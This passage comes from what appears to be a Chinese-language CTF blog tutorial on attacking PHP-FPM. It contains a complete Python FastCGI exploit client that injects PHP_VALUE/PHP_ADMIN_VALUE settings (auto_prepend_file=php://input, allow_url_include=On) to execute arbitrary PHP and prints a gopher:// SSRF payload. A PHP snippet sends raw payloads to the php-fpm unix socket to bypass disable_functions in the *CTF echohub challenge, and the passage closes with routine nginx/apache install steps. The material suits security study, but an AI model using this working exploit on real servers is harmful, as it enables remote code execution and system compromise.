    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

用法跟上面的一样,只不过会直接返回给你gopher的exp,如果是php页面存在ssrf漏洞记得生成exp还要在Url编一次码,因为exp进入web服务器会解一次码,php在请求一次又会解一次码。而我的脚本只编了一次码
图片.png
图片.png
当然也可以使用(Gopherus)[[https://github.com/tarunkant/Gopherus]](https://github.com/tarunkant/Gopherus)
这个工具也是特别好用,并且支持生成gopher打多种服务的exp,当然这里主讲php-fpm,不知道的可以去了解

攻击套接字

上面讲的都是php-fpm通过TCP方式与nginx连接,那如果php-fpm通过unix套接字与nginx连接该怎么办
接下来请欣赏php的魔法

<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
//来自https://xz.aliyun.com/t/5006#toc-3 
//ROIS的*CTF WP

默认套接字的位置在/run/php/php7.3-fpm.sock(7.3是php版本号)

当然,如果不在的话可以通过默认/etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径 或者 TCP模式的端口号
当然,如果采用套接字的方式连接,我们暂时不能使用ssrf来攻击php-fpm,只能通过linux的数据流来进行数据传递,相对于tcp还是比较安全的
exp的话,把上面那个exp的最后三行改下就行了,如果是base64数据传输换成base64encode,如果直接传的话把gopher的字符串去掉

*CTF echohub

从echohub这道题来说,题目环境装了apache服务器和apache-module模式的php模块,并且题目环境就是以apache-module运行的php,但是环境也安装了php-fpm,并且最后还启动了所有的服务
什么意思,就是我题目环境除了apache-module的php,还要装一个php-fpm,相当于服务器有两个php环境,apache使用的是module的php,另一个php-fpm虽然开启但是是一个无用的进程没有web服务器与他通信
题目的web环境也就是apache-module的php的disable_function限制的特别死无法执行系统命令,于是呢就可以通过攻击另一个php环境来执行系统命令(不同的php环境使用不一样的配置文件)
这道题exp就是上面攻击套接字那个,通过攻击另一个没啥限制的php-fpm来执行系统命令

默认安装的php-fpm如果不做改动的话,都是默认以套接字方式进行通信(php7以上都是)

ubuntu安装php

如何安装php可能可以帮助深入理解一下这个过程

如何安装apache-module

apt update
apt install -y apache2
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y libapache2-mod-php7.3      #这个就是apache的内置php模块
service apache2 start                                            #因为php内置在apache,所以只需要启一个服务

图片.png

安装nginx + fastcgi

apt update
apt install -y nginx
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y php7.3-fpm
apt install vim

然后vim /etc/nginx/sites-enabled/default
图片.png
把56开始注释掉,然后选择你想要的连接模式,注释60行或者62行,socket的话记得更改后面php7.0为对应版本号

vim /etc/php/7.3/fpm/pool.d/www.conf
图片.png
如果需要TCP模式,把listen = /run/php/php7.3-fpm.sock 替换为 listen = 127.0.0.1:9000
然后

/etc/init.d/php7.3-fpm start        #php-fpm是一个独立的进程,需要单独启动
service nginx start

完成!
图片.png

- Read More -
This is just a placeholder img.